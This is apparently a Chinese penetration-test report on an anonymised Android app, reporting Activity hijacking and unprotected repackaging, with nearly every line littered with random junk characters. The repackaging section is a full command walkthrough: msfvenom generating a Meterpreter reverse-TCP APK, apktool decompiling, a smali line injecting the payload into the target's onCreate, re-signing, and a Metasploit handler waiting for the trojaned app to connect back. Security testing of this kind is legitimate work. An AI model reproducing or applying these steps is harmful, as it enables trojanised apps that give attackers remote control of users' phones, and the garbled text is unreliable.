原创-app客户端渗透测试报告之反编译捆绑msf马二次打包以及active劫持漏洞

admin

$ \" E. \6 K0 O $ {5 T+ E7 t* w% Y
4 I9 P6 H5 r) A

5 G' M% I r% a& G

+ [1 k4 W) }3 f) k# r 文档编号：                6 O$ J# u& o. |. ^% h2 K- n

, o- Z' Y$ m+ R e 6 t: L* L9 M7 M+ O$ [% Z; u7 }) Q

- g0 O% N8 z3 A+ x2 s - y( q3 c' E' b z* o& |9 j  

Z7 `$ X2 ?9 {2 C ( f) p8 g: \+ _. U6 w

1 `9 t* e( I3 f O x, d1 M   # u* k1 \; [ |4 Z+ `! H

$ Y% b' m( s7 t 1 L# z$ X+ B4 a! N0 G

5 O3 }: r; l6 N$ z9 j# v  

7 w$ m/ V2 {. ?3 m* O+ m, C; T) r   : L) J* D" F0 \8 \( t

x( j" W0 g! F, m1 E" Y2 P

$ j- G0 b) r8 [6 n8 I7 I/ O$ H   4 S1 k4 J1 h0 A

0 `3 j5 W% k q6 U% V4 Q 某某某APP渗透测试 1 B3 f; E* L5 z1 p7 @

7 J& ^7 u& |& U/ b5 w! n6 w6 c2 |: N

: G/ z6 I: P0 h7 ]: }/ C / R ^- N: Q1 W e ^# i( @  

, }2 U: x Y5 \$ m$ q 5 c1 W- \- }0 h5 H

- L: a8 L3 C& W5 \: B# n  

0 O2 |7 T2 D3 P. @0 N# c! s) f

  ; s0 L- B0 n$ B% k' S5 m- S

f7 G' g8 A" ]& F. Y # _% k4 Q! B) ^+ w% f! N

. `/ Z7 V. n8 ~& n  

- r5 m6 U# P/ i, x5 h& J' H

% [& H$ y2 D, f 技 术 报 告 / ]. }9 M4 v0 g% z8 Y! q

& ~8 O b& D S4 b1 G+ w& E

1 U( p9 O9 m+ P3 w1 }   " M6 t$ ], N* J) U `; c$ y3 D9 C

K0 o( o# u) N1 y

  , c2 r2 b( d a

7 X7 [4 O& J( u* N: W! y1 k  

# h, c% C6 U. I; a) ^   4 `8 e7 ^: M! F0 j8 Y2 D5 L

; o/ L0 p( z6 ]) d1 L( Q

  ) [0 }3 i) b, }! F3 q0 ` + w4 e( D ^8 G* C3 A; L

. ~* L9 c; q5 L5 a- w# n4 I7 u5 [+ N; B

! X2 h3 z1 G4 R, A* {+ {   ( A& Y% l; }( A4 n6 t % ^" S5 `" b; i9 M

$ w% Q3 v; C! D0 o5 N3 V, E' P ( N/ S t4 j2 n- ~6 _1 I# R6 P

+ t- i- H- T, _2 q9 j 3 N% F* n1 i# v" A   & e. C m, {2 s+ z, _ $ O6 B& A8 b/ T6 B

+ h# z/ m6 k K

 

" H# H: L( E5 f$ ~' ^

9 a% m* y4 Z8 X2 _7 d6 _3 g& v& N   7 T. s" r! d4 L

# ^# a$ r9 o% s& U4 k* f

! X2 _" D' t' G% G9 q9 a % l! ~1 [) B4 b! ~! N }   + V! Z) q7 B# ?, V 8 g$ ]1 g& ^% b1 ?' E; f

( I; [6 u% ^* K 3 N8 F+ H k$ O2 M1 A0 ]; _) K

3 w+ @$ Z7 U; x2 N; x& R9 [% G  

( b) {! w6 n! n: F3 o   ; M3 {' q) X$ E, [( V: c

p$ |2 J& A1 Q' ]& w

n3 i0 Q. q2 { * S5 W/ [8 r: F( G5 m- C   + |9 t# d: @% C [

$ s+ ~: P& F! ]   3 @% j. j/ y1 F$ i, h1 n) I# c

! N. |1 t1 C) L/ M

2 N. c$ s+ n+ b! s% V$ ^7 ]   $ t, U8 c {/ j0 l; m $ v: L0 d; h. E/ U

& c& ? @8 M f3 W

" q& Q; e, }2 | 0 u' k6 P0 w& J6 I( Q   2 d% g0 q& ^3 h" S" B

: }7 U) }( B0 ]6 i+ m- D# J, u' t: m

 

2 K7 T" ^+ v* n% {( j4 v8 L- q5 o + O! X' T5 k8 z) @   4 H$ o; o5 ?9 u- S. J6 j ( b/ I. ]7 A( Q4 N

) L9 i6 ?1 G* G& e7 l- G1 r 二〇二〇年 ( m+ o9 A( y2 a( C0 N; [2 o% _

+ @+ j. k: Z b* D6 R ]- T! ]

9 A L. c F! i' u& U 2 }1 W! H5 A% a& C1 J1 @: i* a
8 p' a9 s; O! s0 y! }( W' c

, T5 C/ ~. @: y4 F

8 F: b( g# k/ b V) E' q8 b/ } 1 E( b( b5 L F3 \; R9 }5 q
$ E( z! e* I9 ?: L6 C+ y/ g " ?& W$ G0 b/ ?

2 C S+ x# K2 q9 J7 J

8 b! \9 |% X$ t! B! { 目 录 * m/ g L: j' g3 w

8 I$ x: r7 W2 i- T" n 4 `5 R6 E' ^& i* J* @ & M( {1 |5 @ Z' B+ A8 `, K9 r . O* h* w* |7 G+ L8 a, C

 

1 概述... 3 # \4 h! U( K0 c7 f) i3 G _

% i& n b; \) {& Q2 T# `

1.2测试时间... 3 ( H. o5 y l& e8 Q3 p( w# ?

0 y7 ]- I7 R" c" k+ f8 {

3 z; v5 M' c4 m- [1 w$ b p3 [: y+ I' J 1.3测试对象... 3

! x, n# E9 B, X* Y' p 1.4测试结果... 3 ; d% S! S- U' R$ j& g! E & l6 E4 B/ N0 W. ~- y: z

5 _/ O+ B. S8 Z2 N# [; F& Q0 D

3 _( v% C$ e+ @/ R7 X * M: [5 Z, Y0 K2 J; } 2 检测结果... 4 , x- O9 L9 w/ c0 K" t) N2 A

2.1 某某某... 4 3 M) q* b5 g* e3 X; |3 _8 n

- A+ O) I$ Z$ k+ `; O" ~ * Q0 i$ M( t0 W% v

( m, L+ u: u1 h, T 2.1.1检测目标... 4 ' f. v& C; F, E; X' t. G' { " h$ k8 w: D6 d( M

& F" D9 |9 b7 N; G7 t; n$ ?

* B) R1 O0 o9 N 2 g+ _2 x+ \" Z! J! b* I 2.1.2检测结果... 4 ; ^+ S1 b, X0 F( l8 C' W# C& n; ?

- l! U/ }5 ~* O ^; w- q4 `

6 {1 Q1 e' b# t/ Z5 G6 n ! H$ |5 f6 z0 a4 H 2.1.2.1. 4 4 |9 x z3 m8 S3 W, C' `

0 s# ^, n7 m$ e+ A

/ T, Q$ b3 A! k 2.1.2.2. 6 ; y0 U1 Q# |, _: L$ S

6 z0 Q! T0 n8 j2 M2 V' e

' T7 C* N2 D5 H$ A2 I0 W( |9 ~ 4 i- y% s) q7 L! P$ R$ |

( T: m& o" G8 l2 O9 w5 q* R4 x % v$ L1 B) @$ d , ^7 S. p+ C+ n4 `& d& Y- [ 3 ?/ _, \! e. W% `- `! P" k

" j' t- R% R- p9 ?2 |9 y1 L; ^1 Z ' Y2 Z. U9 {) {: i6 l3 L% W F% o 7 j: p$ b9 G5 e7 P

`; M+ W% w/ F9 b ^ 1 概述 + T& J( `1 V% K) n

1 r- A( \% s1 P! J; T& F - C0 c+ K. j; f. G: S' J

; @8 y, l% ~) U5 \* N* [. D 1.2测试时间 . Q& e% b' ~% z& ~ k" E* N9 W9 Q : z3 I; x0 O5 v7 C1 q, c

1 u( w' X9 s8 R$ s* w. | & S2 E. s# L Z9 y+ N, r" e( ~; p" u5 h! e/ Q& @/ W- Q+ e4 h, c( Q2 T/ h5 P$ k/ J5 H) w: V4 J* t- c p* Q1 [* n6 F* {6 q7 l( q5 n& R- X0 c4 f9 d9 W- j5 S* b! [$ ~* h. J( {+ y5 J' H7 A' i7 P4 z5 U( g2 w. o1 s, n6 B. K- D! P `9 R7 e2 V- g) |% Z, T3 I7 m: ~, d; E4 C0 W& H# l% F# ^' l; z) G8 J9 Z8 p, B Q+ H( T: q. p8 u* X5 B8 R& {, F2 g# L' T2 h3 Y$ F( x" s& C/ o! s" n* v8 m

& r' Z. Z1 m. ]+ {. W u4 y . {4 K2 ?9 Q$ ^, y6 R$ G1 B# K 渗透测试时间 : c* Z: |+ m5 x 5 A2 L& D9 M& `6 _4 R
起始时间 2 i+ L* w' Q9 }9 ~ 9 G4 ?: ^) `# D& W9 X2 k	/ Q7 w) t) k* ]- |6 C7 P 2020年4月6日 : }4 C# y. v+ } % j ?9 G) t6 ?5 d1 n2 o
' m+ Y' u, b5 y7 J " H/ o+ A- F, ?& N; F% r : S$ M7 q3 R8 W! e$ G( e2 z 结束时间 2 V; V6 d" P- P& k + k% _$ T* V, D: K" I	, }$ u! u. X9 @# D" y |, c, b! n # s% D, h) p, ]& L 2020年4月9日 ( N/ q' f* w6 z

( m2 y) t) }0 c7 t

( Q( N) O# y3 j7 m5 |" p: y5 \ 1.3测试对象

1 p, k. Y3 ~, m. k1 T; s % Z6 }! ], U: G6 |' W! `

/ Y6 j; h/ L, R/ P 此次测试目标为某某某安卓APP进行渗透性测试，APP存在安全漏洞数量如下表所示： % t' X, i2 o: Q7 |8 j

) a% W1 Y/ R/ E7 w/ w7 ^/ \8 c' _ ! [9 y/ P0 V# N, ^+ q( o

表1-1 检测对象 6 f0 R s: @0 |3 P+ ^ }

& h3 H9 Q. U, O" O* _ 4 k, y2 d) L8 t, v* Q' W7 U6 _2 |- n' Y' s- r; \' N- K% S7 ?7 f" \$ _( i1 ~5 a# s* x* T7 I* Y! W9 u$ F; E: ~9 G" a7 C' O* p* w7 _7 f( \9 T+ {/ K1 P! `% f8 L6 o- v" g; j7 O u$ s* A( x% | s7 e

% p/ ?' _& ~0 V& R* I) k ' K6 b1 x/ W; m8 F {8 j0 z8 ?( } 5 c, c0 U) b/ s; `" f / g6 R( Y f' H' j 序号 * K% E& t9 T, u: e9 N2 D % i0 D, \) O. d, N / j+ Q. P0 W; B4 ~* ?	1 D( r& [/ s1 `6 y! y6 q 2 \& h/ Q: u' b8 ]; K( k' r 1 r! M( M- q. _7 Z8 ^$ u 测试对象 $ P+ A. M* ]( @- } 4 ^$ x( G8 N/ S* U# e	7 {0 S5 Q' \$ v# G! b. M6 B4 H % n. U- i" w4 M4 _ 测试地址 7 A( q! |( j. y6 F- \5 y& Q8 { / R' i; n- `5 M# M6 W0 Q	0 ^+ a. A2 y+ N4 F3 {+ Y 安全漏洞 j, z' ? y% n, |9 g0 \) e ; @& X8 T2 E: U- \- S ; I7 E; \0 _# J8 I& m, t4 A9 H 8 L5 ~$ e4 Y P! u$ H
) |. W2 C5 [# ]$ K 6 J% M/ E4 y. O $ E+ G! d- S/ h, T1 o' A5 z 1 $ _. k0 e N, B* }2 B3 M, w# a 3 P: K8 c& d! M) w$ o	, V: r( s8 l; G, l5 y3 N $ Y* |: x% J$ j* z 某某某安卓APP 2 i$ y, |) b J$ b' R. v! i2 q$ H " S- J' X6 t7 M, C0 J	+ r' P- G2 m. d* w- E 9 b, g A8 F" B$ \% I   6 q5 v5 M& s z# C ' a8 J" L/ F! T6 X0 }+ v9 C* G # ?( t: }; U$ h3 m( k+ I0 D	& Z: X% ?$ I1 ]" v6 A) w& j 2 9 m$ c& l9 q. N8 m H6 }6 r$ o

- l1 E" B) K% m

1.4测试结果 8 g$ y8 g' r$ v7 s5 d8 j* B# n& P

0 S0 d. g& Q8 z& k2 }" s ( F/ \2 ?) E" A4 q' \3 h

) m5 Q7 g/ b$ D: d, } 在本次对某某某APP透测试中发现，APP安全防护存在一定问题，主要问题如下所示： 4 C" h' c7 |1 N5 F, r

) y; r4 ^/ C. }/ c

  , E k$ \8 _# K- _8 o" C0 g7 R 6 \) Y, j4 \5 {

" z7 |% K" O6 I 1 \8 }# L6 h# E7 i6 o! ?$ v6 g: Z* y% I& P+ T1 J7 }# I/ [: Y7 ~, y% \2 |# C" T3 e" ]! H# i+ y( m& V. H% u5 M7 E0 Z: [$ ^9 x6 w, F( w- ]! x+ Z) ?- ] z7 t, l7 ^3 T0 W& s( s# ?6 ]4 t" U! x) {+ T4 d' i% s5 U- j+ N8 B8 b; s7 o( B; [& g; H7 V0 J4 I1 Y. c: H# V& r+ _4 L0 u: ^4 e7 g/ _$ ~- A! a# }- g, ], z, N7 @2 g6 g2 ~/ k9 J! D2 x% G2 z7 B3 O$ V6 I& s3 {9 S9 @3 C) m. k- ~) b) p1 R; |! Z" M9 Q' b; Z/ W o8 j& B4 {$ i, ^1 c; r3 V8 l3 ?( ^5 Z& p/ P& ~2 L: M/ U& w( Q+ ^# N' Y2 i7 a! c. N( [$ {8 W: h1 ~+ }- s W5 D9 v% {) t; q, h- H) {. C0 p; s! I8 c

序号	! S/ O$ Z, }; C% Z) L5 `4 K+ R( O& ^ : B, l5 x3 @2 S2 g/ k/ s8 A 系统名称 & B5 ^" r6 r4 P$ F$ R9 E ) H# C. N. A# v& W+ G* o ) k. g. y' V! `- a. z4 w1 @	4 k* a8 H: ?2 c. x+ \1 {& P2 b Q 0 K5 X7 I" j) G# q; X 漏洞名称	% G6 C6 Q- `( i5 |! \, ]' e ( J, O! W( J& T( z& v" D 3 J( [% e" Z- s2 q& h y) t 漏洞危害 ! @( \ J+ P( C% h( a8 |. z ( \, _% ?2 l( |: Y4 L9 N' ]/ [6 ? # t' D1 f+ Y, e+ E* c	; N- S7 b7 ?% T# `" |8 w9 b . m; R5 b$ R) J( M 修复结果
! j" M9 `) G' \, _3 ~8 M+ [2 B 0 Z* F. e3 Z$ q( `9 W- M 1	& A4 O5 d, E+ q ( p6 T: X" Z( f1 a , m0 n* A' \/ {- I7 @; w 某某某某某某APP 7 z6 e% m' ~/ l; R) z* }+ r1 H " V) O2 b; m/ P0 A. k( _ - a; d2 x# ]4 ]6 a	; _5 ~$ z5 G5 Q% r4 ^. Q3 B0 P6 }/ ` Activity 劫持 : H7 \, P- j3 \: \! D" }4 D 9 |# ?3 j7 C7 M6 ~8 _. [ " ^; y3 `3 I3 a/ e" Y 1 w# n8 k; f0 O/ v% I   ' H( T- i8 E7 I' t$ u	, [. e8 N7 \* W& d0 \% @9 ^$ D& D 高 / G: O( h9 r3 j/ I+ B- Q + ^9 E' A) _" k* A. Y/ {7 [
, `& f# x- l# i7 m* Y$ c ( C& y' ?9 }5 y5 Q$ L( w! H4 p 2 7 ^6 l# H# J" x* M5 I8 A# T 9 r' Y0 \- A0 O: q( ? " T2 c3 \5 p, H, N! U ) d3 }/ \% }( b/ W# J3 Q+ i	: I! `. u5 z4 \# _ @ , z$ C* @. Z2 @- T$ c& O# q1 E 某某某某某某APP 3 ~, a9 e4 [( l( P ' w# v4 v0 b2 y. R2 s	- W* N: z3 Q% d( k , l, t! s- T- _( @* H7 b9 Q 反编译二次打包捆绑木马、篡改APP代码 5 ]- W0 Z( _6 S # a. r$ _, w7 ?/ |( m* {) w1 _	9 f; G h! V5 n+ {7 B: W8 L 高 }& _, R. D& J: m3 [" f4 G	& J7 K+ p8 Y5 b& m. p

" s m" ^! \9 c) K4 k

- c# s) I" b% l; D9 q4 a  

表1-2 测试结果 2 K2 e0 b- c+ O: f) a( z

+ O( ~. Z: _$ k/ u$ B0 p

: U; ]8 O0 v7 N5 J. _4 q8 n  

7 z0 U1 ~3 ]9 L

2 检测结果                    - i/ x; v6 q% A: V( d# N , [2 M* D: S8 G. H

' J+ D/ Z& W" L% Z- n# D

* n# m8 W! x9 S2 J; O: u- Z* L, n1 V 2.1 某某某

. o9 u- p" h6 t- g/ U W " y/ f/ f& f# O' u$ V2 P; l: u

8 H7 H% ^4 z+ [* ]. i ) s2 u' T, g: o+ C 2.1.1检测目标 0 M: A5 ?0 x2 X : _2 v% g( W1 G2 f! n

, e/ M; Z4 b$ Z# l* d& T6 X; B0 ?8 |8 C 目标地址： 某某某某某某APP + ]; z n5 N! |" N' P% p8 G( c

( n* `# n) D: Q* g* d& K $ |4 q: P% d6 i/ ^4 _) `

1 o! S D9 S8 q! E6 [4 U 2.1.2检测结果 ! \, ^" u8 T0 H+ E- o e

4 n; l6 Y0 n( V( B+ U* ?9 m& z 2.1.2.1

% e7 S" N p2 g! ]& c) G

* B9 n& B2 J V" |4 w 漏洞链接地址：某某某某某某APP $ \& ]! o6 w' u3 u ( N! S+ I: G0 \: _4 e8 X

+ i$ x1 d, M, V; h' G" b

& D" G* }# D; C5 f4 K' s- V   ) D4 U( D& O \: Y

- [* `' w5 x7 Y. x G8 | U

W$ r8 D( m: J; A3 B - [! V4 T$ O! J! n- T 漏洞分析及取证： 3 S6 T$ `7 g. {

0 r/ G3 `- [2 U" @+ E9 f6 e: B, z ; f$ q& ^8 M C7 a6 D

) Y% f# z5 a; W- t% t/ `                  通过androidkiiler反编译，发现app未进行安全加固， Activity 为com.minivision.cmcc.activity.SubActivity可被劫持，复现漏洞如图：

- C e) X H# A; f) B/ R

6 ^8 Q" H6 N+ x+ k3 W     

4 Z5 ~8 x" N5 U9 A5 F8 c 4 T+ c1 U3 R b, R8 A

7 k/ l' P5 f6 b- o9 f" r/ d                       + o% T3 K. ?1 A) K9 p

4 b- g/ e& j7 q/ {: [4 w , u1 Y" k; w6 z' Y

8 [* h7 {/ l0 p. h, G4 }( D0 p

. J b$ ^' ? u; O. e3 d * E% p7 b1 ~/ ?" i - s. b6 s4 V, H! Z" n, B: {+ M ! @! S! T4 c5 ^& ]

G8 b( p+ k6 T3 w Z7 J

) ~7 R* k* @- q. n9 c ( Z0 U2 G- y9 M+ i- a

4 I$ m6 m6 r; i$ I0 \- {

7 _! R% Q0 Y8 j# H. ~8 U# a0 o 漏洞危害：高 5 Z& M5 k: ?" u; p F: `

# t0 U" j& `, t& K

1 c4 W! l. ^6 e: O % e1 y K6 z2 K! b: p, u" M3 @; o9 m& m/ o9 V4 k5 ?: Z9 e4 x: {* J( w. V* e. ` {. y1 R' M) E8 r0 w4 M y8 D- C: q$ }7 p" O* e7 X/ c' i$ b4 ~( j2 k. M, x5 c. |- B m: T5 x; W2 P, u$ N N# r( Y$ E- r" ]+ T4 M o( [: p, O3 T3 S9 Y! \1 P f( Z$ j0 m/ ^# g9 V4 h' l0 `" k0 f0 o6 M* Q) Z; z3 b9 I5 ?) e( w% ]" C

9 c8 A5 E/ H& T5 c ( ^( S3 U! K4 d# [2 f8 G/ d- Y 严重程度 R3 U) D& |3 \# o1 [' a! l . f/ r' ~# ~" h$ Y $ b6 R2 b; m6 Y+ p9 o	" ]9 g" p# {2 c1 }5 h& C. o' ~( X 5 l* n, H5 [2 _7 s4 X 高 d J# _6 ]& i# X, i 8 f5 P7 C7 v* T$ H* j# p8 m	% ^2 z& X- m3 X 6 b5 E. B0 u9 c# t+ E! h/ ^ ■ % \& p# i7 c; I( l0 F+ T4 u& B 2 T4 h2 d! @3 l# a	) R: Z% o# ]: w' q1 C0 }; ] } 中 2 d, a( p% G) p, N / L. {! o- ~+ F. G8 d5 G 2 G: b. L( }* V! E% w	6 }$ }: {8 n! S% e6 h ; _7 l2 r% s% [   % ?) W+ W4 v B0 c- Z! }. W * _+ n) I4 a$ T4 l: D* N. y1 n 3 `1 y2 }9 z1 G0 ^	' l+ H* ~; ~9 F2 t' t1 B ( x' G6 ]" ^8 V0 y4 w. P 低	# z9 P0 q) X0 H( A8 p   6 S; o' p$ s5 b3 V. ~3 p/ x * F( F. B# N* A! T3 }

' h1 {! G3 H/ l

8 l3 O- ]$ f5 R# x3 t9 K9 P/ T# D 1 B, V/ A1 |' Z+ X: n- H- J: ^1 p

  , s4 Y* d0 B; j6 G, X

& u1 p* F$ Q" c3 z, W- P' r " S F [& @, x/ Y' N. z

+ H7 ~9 U/ B1 `/ O& u 1 ~$ [) Y8 m: |! b' N3 j 修复方法：在 APP 的 Activity 界面（也就是 MainActivity）中重写 onKeyDown 方法和 onPause 方法，当其被覆盖时，就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的（触摸返回键或 HOME 键），如果是用户自己触发的则无需弹出警示，否则弹出警示信息。 9 \9 k8 w- A% Q+ q$ R }" F

! Q0 \$ o w' W; O3 U& B' Q 0 T0 \, w& X% |1 E# n/ M1 d; D. c

! J' I+ ~7 D) A2 R' P          

' D0 J) W1 Y& W   ?0 H% q3 k. {2 o

! k9 c, ^4 m# o

5 l7 X& {/ f# i$ N# F& o ! w x" u% C6 l 2.1.2.2 8 L. j& b; C, d7 e& U2 V% e 8 O. J' a/ l u

# u/ g( w0 p- `7 e) L: [* E , W' ?/ D. M% H8 p/ X

漏洞链接地址：某某某某某某APP $ x" g: Q/ v6 ^. z/ u

& e O( `$ ?' {5 e/ [+ z5 o 漏洞分析及取证： 1 k) z& `& X: s7 O 4 i3 _6 m* F3 Y) g& Q: k8 B% s2 o

6 Z m1 U8 a/ ]+ q4 d: P: z

                 通过反编译，发现程序未加壳加密，可直接反编译获取源码，经过测试可修改app代码捆绑木马或者植入广告等操作，复现详细方法如下： ! z5 Y- T/ y g' X3 o. j5 s 2 y; V! d' d$ a) v5 N' v0 N

+ }0 P* p' N: Y/ |

1 g; V/ h4 Z9 x# f8 t3 X/ I' j 用Metasploit 生成木马 apk + g! C4 c7 l! E9 b 7 F- K) L7 W# K* C4 b% R

2 C( T! n# X; J+ g

4 z, X0 l) H: { msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk 5 |/ E: p1 G; M& ]$ [ - g I3 o- ~# x5 L* G

8 x$ X. t& n2 i" s* S

5 [$ S& W" y3 t 反编译目标apk和木马apk % r( r' p# L- ]5 v2 z, `& U% q 8 @0 f7 C# t' A% }1 ]

7 C9 x m- a& W3 g2 M& W! c ( }9 q. S* x( ?# y8 {

5 ^ D6 `) N( }, M% }! D apktool d target.apk
+ ~- u2 O i2 H apktool d cockhorse.apk ( y% O- J; n( V8 m$ [# ?. Y6 p

+ ^. h) ~; v$ K1 I* }# y0 ^ 0 M- O, Q4 }+ N. N( B7 o

9 ]7 ]7 }# Y& z7 Z5 f 木马 apk 注入目标 apk 2 [, l3 n: ~' o* @) B) v8 d

$ S$ e' N- L% [; z5 X# D; g 3 g4 I4 B) \' [/ e! k. `4 Y

* ~6 M7 F9 s4 q- ]2 O 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件，并在 onCreate()方法中添加如下代码：
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V " Q3 r) t8 u. K1 g B4 B

& t+ `. T0 @, J. E" d& B$ ^ ! K+ L/ e4 r! T" z1 D 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中，去除重复 3 m( q& w/ ]/ \# o2 X

- @ B/ l U }5 z! g; M3 u+ p! g# \

$ y6 i( R* a" J0 s% q: h* L 将木马文件的 smali 文件放到目标文件下，例如 com/metasploit 文件复制到目标文件 com/ 下 ! k: K. h" W7 [6 D4 a! J6 B 0 Y( k: }% i# u, n2 I( q

: a' M* p% l2 X$ e0 [1 r

回编译生成最终 apk / U. R% L9 ]3 N4 a3 ?; h + ? w- ~6 ~/ d+ q

* i' s5 C9 c2 Z' ~

0 j2 z. T) r8 Y+ x+ P. K 重新打包 4 T9 @; f/ u1 @' j7 w* }

. \' S5 z) S8 n apktool b -o repackage.apk target_app_floder 1 q2 `+ C; d: d9 I) @' D3 r( G4 h

4 d" y2 H4 {3 ~: E" t; @5 v ; S" H& J3 N+ M( c( L+ x 创建签名文件，有的话可忽略此步骤 , v$ g* X3 i% O# Q2 i7 G. \

4 J9 C7 K* P8 k1 e 6 w) ^' W. F* `4 e# H1 N

9 y* b+ g/ z7 V' _/ j2 h keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000               

! d9 G/ o, x! K0 h

签名，以下任选其一 0 b3 W: L: ^% f5 ^3 ^( \! R+ I7 o

4 Y t' R4 Z# T+ N% |

4 Y" l& |* v- b( {' ^ jarsigner 方式 3 @" ?5 S: |) j+ l & T# M A4 G) l3 F5 W

. R" ~& D, U4 T! j- L 5 ] Z; _* E7 _$ Q" ~# q; W. H# @

jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname 2 f" q7 j% }3 r" N( o' B % m0 d! k5 }! w0 _* B1 d, _

7 V2 z | v" j. C4 ~" v! R' g

7 G7 j4 J- H5 C! j! u1 P apksigner 方式 , H$ {, `) W6 ?9 r) G9 X6 H ( A9 U/ x, T6 W7 H; ?

& |7 m( l0 V' N% V- i4 m8 O

4 t1 W6 t+ r, W apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk / M% O/ C) R* v

1 ?" C: v2 I9 _: K' |0 ^: D; | 0 B5 p4 X& B4 Z6 ]8 e* H( D 如需要禁用 v2签名 添加选项--v2-signing-enabled false - D3 h& O* I; u. t; b - ? m2 s. ]+ j+ E3 g* R% s* R9 g

& u/ e1 k- r' ~& J: I$ q 验证，以下任选其一 $ E3 U7 c, k* T* H! U

* k3 r' t: f4 n8 X& n: B$ I' B

- W$ b" T' t4 K+ ]. D0 x a7 K; y1 Q jarsigner方式 ( F7 M& O9 x# \# W/ A8 D

% z8 y8 M8 X' i/ y- }

% h7 v# F# C3 N ?, x" l* `7 W4 { jarsigner -verify repackaged.apk ( ~1 V9 B7 u6 q2 q : O z/ J9 @- x& Y7 m

$ `/ q" i; i2 N5 _- ] z ) Y' b5 \: [7 M8 ~1 @$ q" j

9 h8 r% Z) B2 n: y! z/ R apksigner 方式

; U1 w1 d- B' k! p B % o9 L3 [) C8 G( ] apksigner verify -v --print-certs repackaged.apk

* K* [7 j% m9 T. ?4 g/ S

keytool方式 + l7 Q8 C$ D: O7 T 8 N9 P7 U6 W0 T8 `- k- J7 \

( y( Q( E, Q* u3 l2 e0 _ 6 U. `" ~! o2 Y1 r$ U4 Z# r keytool -printcert -jarfile repackaged.apk , b% e, f: X: N6 a* d+ X% u8 N& Q

) C/ L% F0 x8 B- D0 ^% @

. X3 h6 F4 ?7 s# E) p% O , ]5 i/ L. z' I/ n1 c 对齐 ; @+ @5 ?( ~# G f/ ?. t4 @3 w

: b9 q! r6 G) Q7 @6 K# M0 }0 ] ( i8 }& f0 N* C6 G 字节对齐优化 + w# V! P& A. `) ~4 w / ? K( F7 A6 t( ?

4 I# w% `6 t. A2 i% M6 [4 B: V

. ~4 P- q |: c( s' S zipalign -v 4 repackaged.apk final.apk

9 Y1 o$ k6 W4 n

/ |2 I0 n, B4 @# y) ]1 f % T% B8 J9 f9 `8 l7 h2 t1 S5 b9 I 检查是否对齐 ; |: ~6 P p+ f: m# S3 ^& L

7 w7 y# ?; c- k+ D: S0 y

zipalign -c -v 4 final.apk + y) Q# ~5 q: j# L! p( l. H / G8 z. p# J6 b& [

/ h# K" ^& d2 I$ \ 注：zipalign可以在V1签名后执行，但zipalign不能在V2签名后执行,只能在V2签名之前执行 3 o4 P" C- I$ ]& U5 h

" L8 C6 S0 e7 \- o5 J+ g+ [! M 5 r( f2 ^: M2 R+ o! g5 y

7 Q( y* C1 i. J o % I: X: ]+ x; v. q! C1 c 启动Metasploit控制台，配置参数等待上线 \% v+ ?# q/ X1 @5 I$ `

" n; t/ W0 a# n* n- t

: X9 p$ ` E! Z/ e* ~" ] 在终端依次输入如下命令 ! ]! M! Y5 H4 {5 I$ v4 ]5 ~2 q

9 P8 F( l1 @9 ^, D9 A 5 ~0 F, s; }- I! v& b

! O3 v* S- k$ i( O1 C$ c5 H2 T6 s 5 C0 P' E3 ]5 {4 w msfconsole 4 @0 q; m9 s/ T& T

( I* \4 f4 b( P8 S. z

- N6 f6 X( L" S% ` - X- x8 Q( n3 S6 h9 ~ use exploit/multi/handler $ R+ Y) w. P" T8 B& P

, x1 D) {/ B$ U1 u # k% ?7 E# |3 q- r

1 ~" M1 T1 S% y+ S& Y. s % U/ P8 v% q* \; c( W9 Q# B set PAYLOAD android/meterpreter/reverse_tcp ; n8 J* i, `4 m# S7 C( i

: t Y. s4 n) b9 f7 t5 D5 C

) J/ n& O( ?" v7 j 9 X4 s$ e( [1 L' D" o9 C set LHOST 192.xxx.xx.xx 1 t( C/ A) O" s1 Y3 L8 ?6 ^+ d

6 A0 B6 q* C) o

3 v$ Z7 O8 t* K5 V* [ set LPORT 4444 + p" v2 w4 ?1 `9 A* N0 W% j# }

" v( v9 ]/ n. y- m exploit

5 J& i7 J% l. O2 [# U

6 M1 @) F, P; @4 S& D# b! Z 之前我们把入口放在 MainActivity 的 onCreate 方法中，当启动目标应用进入该界面，就会连接成功，如下图：              

+ s6 Y; ^3 N2 G 漏洞危害：中

7 X( G* P5 ]. _ % p4 P0 {1 B9 I5 u. j$ g! S

2 c9 u# F3 w# j4 i9 x; Y4 e : Q* G" |8 x& Y 1 E( ^* B7 D, b1 x9 b- E7 d: \1 P1 x: V' [8 X z* [1 \2 y9 c7 x$ }" r. N" Y7 z# [, f; ] Q) _/ l& ~1 ], t+ m1 ~1 d( I2 s# A3 c' V! Q( W# x7 p9 R8 _. f/ T- H" A$ {- ]( P3 o7 |# ~0 U; g: ~- h$ u$ {; |% ?! p- N6 u- z- ]0 {* t: x! [' j6 m1 s2 _* c" k% R# f% c) S" D9 l6 i5 @9 ^! }5 ?7 `3 L+ ^

8 C+ a* E2 U2 t$ B1 O7 ^9 u( F' Y* @ * U$ g& ?$ K9 M9 L0 K0 l u : R6 A( q7 E4 `1 J 严重程度	0 B& Z, M: X0 u8 I! o 4 ~( J+ c: l# H. c 7 @( T8 ]# t4 U( |6 V, N+ a: B 高 + t/ U, `+ u+ Z2 e) K) r' q : x9 S0 y: W8 u+ p( i; E	) v& D, l* s Z8 |" A* S' u7 a ) j; D% ]- V! l# Z/ m/ J ■ 0 @0 I+ k, V, J' ?% y	' o+ i& V7 u) r& |; ~, t , M) J1 I+ J' G2 p V" R; d . r' u" i% }; W) p 中 3 A* c h5 ~" i# |7 \2 ^	% w! h6 w* g! }& [4 _& i( D, ` " u% R0 g# X' P9 `8 l $ F s7 b2 F9 K+ Q : z/ c- q/ d! q. Q+ s   3 Z4 O/ Q+ Y4 n2 ]	) \% \ q3 K8 o9 s: K. H6 s6 T$ r : v- _6 s7 X( d+ y8 ]% \2 w% _ ( v L1 m! n& ^" a! ~ 低 6 i% V- X- J/ o' G	# y! X5 B6 @& H8 G4 H ~! x9 